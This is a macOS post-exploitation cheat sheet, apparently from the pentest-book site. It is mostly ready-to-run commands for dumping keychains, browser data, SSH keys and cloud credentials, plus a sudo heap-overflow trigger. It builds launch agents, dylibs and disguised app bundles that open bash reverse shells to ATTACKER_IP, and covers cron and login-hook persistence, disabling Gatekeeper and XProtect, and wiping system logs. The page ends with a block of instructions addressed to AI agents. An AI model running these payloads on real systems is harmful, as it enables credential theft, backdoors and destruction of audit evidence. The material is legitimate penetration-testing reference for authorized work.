# macOS

> **Skill Level**: Intermediate to Advanced\
> **Prerequisites**: Unix basics, macOS architecture

## Initial Reconnaissance

### System Information

```bash
# System info
sw_vers
system_profiler SPSoftwareDataType
uname -a
sysctl -a | grep -E "kern.version|hw.model"

# Hardware info
system_profiler SPHardwareDataType
ioreg -l | grep -i "product-name"

# Disk info
diskutil list
df -h

# Network info
ifconfig
netstat -rn
networksetup -listallhardwareports

# Current user
whoami
id
groups

# Logged in users
who
w
last

# Running processes
ps aux
launchctl list
```

### Security Configuration

```bash
# Check SIP status (System Integrity Protection)
csrutil status

# Check Gatekeeper status
spctl --status

# Check FileVault status (disk encryption)
fdesetup status

# Firewall status
/usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate

# XProtect version (built-in malware detection)
system_profiler SPInstallHistoryDataType | grep -A 5 "XProtect"

# TCC database (privacy permissions)
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db "SELECT * FROM access"

# Check if MDM enrolled
profiles -P

# Privacy preferences
tccutil reset All  # Requires admin
```

## Credential Harvesting

### Keychain Access

```bash
# List keychains
security list-keychains

# Dump keychain items (requires password or GUI prompt)
security dump-keychain -d login.keychain-db

# Find specific passwords
security find-generic-password -s "service_name" -w
security find-internet-password -s "server_name" -w

# Export keychain (encrypted)
security export -k login.keychain-db -o keychain_backup.pem

# Keychain locations
~/Library/Keychains/login.keychain-db
/Library/Keychains/System.keychain
```

### Browser Credentials

```bash
# Chrome cookies (encrypted with user keychain)
sqlite3 ~/Library/Application\ Support/Google/Chrome/Default/Cookies "SELECT * FROM cookies"

# Chrome passwords (encrypted)
sqlite3 ~/Library/Application\ Support/Google/Chrome/Default/Login\ Data "SELECT origin_url, username_value FROM logins"

# Safari cookies
sqlite3 ~/Library/Cookies/Cookies.binarycookies

# Firefox credentials
~/Library/Application\ Support/Firefox/Profiles/*/logins.json

# Decrypt Chrome passwords (chainbreaker)
# https://github.com/n0fate/chainbreaker
python2 chainbreaker.py --dump-all ~/Library/Keychains/login.keychain-db
```

### SSH Keys

```bash
# SSH directory
ls -la ~/.ssh/
cat ~/.ssh/id_rsa
cat ~/.ssh/known_hosts
cat ~/.ssh/config

# Authorized keys
cat ~/.ssh/authorized_keys

# SSH agent
ssh-add -l
```

### Environment Variables

```bash
# Check for secrets in env
env | grep -iE "password|secret|key|token|api"

# Bash history
cat ~/.bash_history
cat ~/.zsh_history

# Application preferences
defaults read

# AWS credentials
cat ~/.aws/credentials
cat ~/.aws/config

# Kubernetes credentials
cat ~/.kube/config
```

## Privilege Escalation

### Sudo Exploitation

```bash
# Check sudo permissions
sudo -l

# Sudo without password (check for NOPASSWD)
cat /etc/sudoers 2>/dev/null

# CVE-2021-3156 (Sudo heap overflow) - macOS 11.2 and earlier
sudoedit -s '\' `perl -e 'print "A" x 65536'`

# Sudo token reuse (if within timeout)
sudo -n true 2>/dev/null && echo "Sudo cached"
```

### SUID Binaries

```bash
# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Common exploitable SUID
/usr/bin/newgrp
/usr/bin/chsh

# Check for custom SUID apps
find /Applications -perm -4000 -type f 2>/dev/null
```

### Launch Agent/Daemon Hijacking

```bash
# User launch agents (writable)
ls -la ~/Library/LaunchAgents/

# System launch agents
ls -la /Library/LaunchAgents/

# System launch daemons
ls -la /Library/LaunchDaemons/

# Apple launch daemons
ls -la /System/Library/LaunchDaemons/

# Find writable plist files
find /Library/LaunchAgents /Library/LaunchDaemons -writable 2>/dev/null

# Hijack launch agent
cat > ~/Library/LaunchAgents/com.malicious.agent.plist << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.malicious.agent</string>
    <key>ProgramArguments</key>
    <array>
        <string>/bin/bash</string>
        <string>-c</string>
        <string>bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>
EOF

launchctl load ~/Library/LaunchAgents/com.malicious.agent.plist
```

### Dylib Hijacking

```bash
# Find applications with weak dylib references
# Use otool to check dependencies
otool -L /Applications/Target.app/Contents/MacOS/Target

# Find missing dylibs
for app in /Applications/*.app; do
  otool -L "$app/Contents/MacOS/"* 2>/dev/null | grep "not found"
done

# Create malicious dylib
# compile_dylib.c:
cat > /tmp/evil.c << EOF
#include <stdlib.h>
__attribute__((constructor)) void init() {
    system("bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1");
}
EOF

# Compile
gcc -dynamiclib -o /path/to/missing.dylib /tmp/evil.c

# DYLD_INSERT_LIBRARIES (if SIP disabled)
DYLD_INSERT_LIBRARIES=/path/to/evil.dylib /Applications/Target.app/Contents/MacOS/Target
```

### TCC Bypass

```bash
# TCC (Transparency, Consent, and Control) bypass techniques

# Check TCC database
sqlite3 "/Library/Application Support/com.apple.TCC/TCC.db" "SELECT * FROM access"

# Inherited permissions (if parent has FDA)
# Terminal.app has Full Disk Access → scripts run from Terminal inherit it

# Mount external volume (bypasses some TCC on older versions)
hdiutil attach disk_image.dmg

# CVE-2023-32364 - TCC bypass via symlink
# Specific to affected versions

# Electron app TCC inheritance
# If Electron app has permissions, JavaScript can use them
```

## Persistence

### Login Items

```bash
# Add login item (GUI persistence)
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/app", hidden:true}'

# List login items
osascript -e 'tell application "System Events" to get the name of every login item'

# Via defaults
defaults write com.apple.loginitems Session-1 -array-add '<dict><key>Name</key><string>Malware</string><key>Path</key><string>/path/to/malware</string></dict>'
```

### Cron Jobs

```bash
# Create cron job
echo "* * * * * /path/to/payload" | crontab -

# List cron jobs
crontab -l
cat /etc/crontab
ls -la /usr/lib/cron/tabs/
```

### Periodic Scripts

```bash
# Periodic scripts run daily/weekly/monthly
ls -la /etc/periodic/daily/
ls -la /etc/periodic/weekly/
ls -la /etc/periodic/monthly/

# Add malicious periodic script
echo '#!/bin/bash
/path/to/payload' > /etc/periodic/daily/666.malware
chmod +x /etc/periodic/daily/666.malware
```

### Login/Logout Hooks

```bash
# Login hook (runs as root)
sudo defaults write com.apple.loginwindow LoginHook /path/to/script

# Logout hook
sudo defaults write com.apple.loginwindow LogoutHook /path/to/script
```

### Folder Actions

```bash
# Folder action script (runs when folder contents change)
cat > ~/Library/Scripts/Folder\ Action\ Scripts/malicious.scpt << EOF
on adding folder items to theFolder after receiving theItems
    do shell script "/path/to/payload"
end adding folder items to
EOF

# Attach to folder
osascript -e 'tell application "System Events" to set folder actions enabled to true'
osascript -e 'tell application "System Events" to make new folder action with properties {name:"target_folder", path:"/path/to/folder"}'
```

### Application Bundles

```bash
# Create malicious .app bundle
mkdir -p /tmp/Malware.app/Contents/MacOS
cat > /tmp/Malware.app/Contents/MacOS/Malware << EOF
#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF
chmod +x /tmp/Malware.app/Contents/MacOS/Malware

cat > /tmp/Malware.app/Contents/Info.plist << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>CFBundleExecutable</key>
    <string>Malware</string>
    <key>CFBundleIdentifier</key>
    <string>com.legitimate.app</string>
    <key>LSUIElement</key>
    <true/>
</dict>
</plist>
EOF
```

## Lateral Movement

### Remote Apple Events

```bash
# Check if enabled
systemsetup -getremoteappleevents

# Enable (requires admin)
sudo systemsetup -setremoteappleevents on

# Connect via Apple Events
osascript -e 'tell application "Finder" of machine "eppc://user:pass@target" to open home'
```

### ARD (Apple Remote Desktop)

```bash
# Check ARD status
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -access -on -users admin -privs -all -restart -agent

# Connect with VNC viewer
# Port 5900

# Scan for ARD
nmap -p 5900,3283 target_network/24
```

### SSH

```bash
# Enable SSH (Remote Login)
sudo systemsetup -setremotelogin on

# SSH with key
ssh-copy-id user@target
ssh user@target

# Port forward
ssh -L 8080:internal:80 user@target
```

## Evasion

### Disable Security Features

```bash
# Disable Gatekeeper (requires admin/SIP disabled)
sudo spctl --master-disable

# Disable XProtect updates
sudo defaults write /Library/Preferences/com.apple.SoftwareUpdate CriticalUpdateInstall -bool false

# Clear quarantine attribute
xattr -d com.apple.quarantine /path/to/file

# Sign malicious binary with ad-hoc signature
codesign -s - /path/to/malware
```

### Hide from Activity Monitor

```bash
# Rename process
exec -a "Google Chrome Helper" /path/to/malware

# Run in background
nohup /path/to/malware &>/dev/null &
disown
```

### Log Evasion

```bash
# Clear bash history
history -c
rm ~/.bash_history ~/.zsh_history

# Disable history
unset HISTFILE
export HISTSIZE=0

# Clear system logs (requires root)
sudo rm -rf /var/log/*
sudo rm -rf /Library/Logs/*

# Clear unified log
sudo log erase --all
```

## Tools

```bash
# Empire (macOS agents)
# https://github.com/BC-SECURITY/Empire

# Mythic (cross-platform C2)
# https://github.com/its-a-feature/Mythic
# Apfell agent for macOS

# Sliver (cross-platform C2)
# https://github.com/BishopFox/sliver
generate --mtls ATTACKER_IP --os darwin --arch amd64

# Poseidon (macOS agent for Mythic)
# https://github.com/MythicAgents/poseidon

# SwiftBelt (macOS security checks)
# https://github.com/cedowens/SwiftBelt

# MacHound (BloodHound for macOS)
# https://github.com/hotnops/MacHound
```

## Checklist

```markdown
## Initial Access
- [ ] System information gathered
- [ ] Security features enumerated
- [ ] SIP/Gatekeeper status checked

## Credential Harvesting
- [ ] Keychain dumped
- [ ] Browser credentials extracted
- [ ] SSH keys collected
- [ ] Environment variables checked

## Privilege Escalation
- [ ] Sudo permissions checked
- [ ] SUID binaries enumerated
- [ ] Launch agent/daemon hijacking tested
- [ ] Dylib hijacking tested
- [ ] TCC bypass attempted

## Persistence
- [ ] Launch agent installed
- [ ] Login item added
- [ ] Cron job created
- [ ] Login hook set

## Lateral Movement
- [ ] SSH access tested
- [ ] ARD availability checked
- [ ] Remote Apple Events tested

## Evasion
- [ ] Logs cleared
- [ ] Quarantine attribute removed
- [ ] Process hidden
```

## Related Topics

* [Linux Post-Exploitation](/post-exploitation/linux.md) - Unix-like techniques
* [Credential Harvesting](https://github.com/six2dez/pentest-book/blob/master/post-exploitation/windows/credential-access/README.md) - Windows comparison
* [Persistence](https://github.com/six2dez/pentest-book/blob/master/post-exploitation/windows/persistence/README.md) - Cross-platform techniques


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentest-book.com/post-exploitation/macos.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
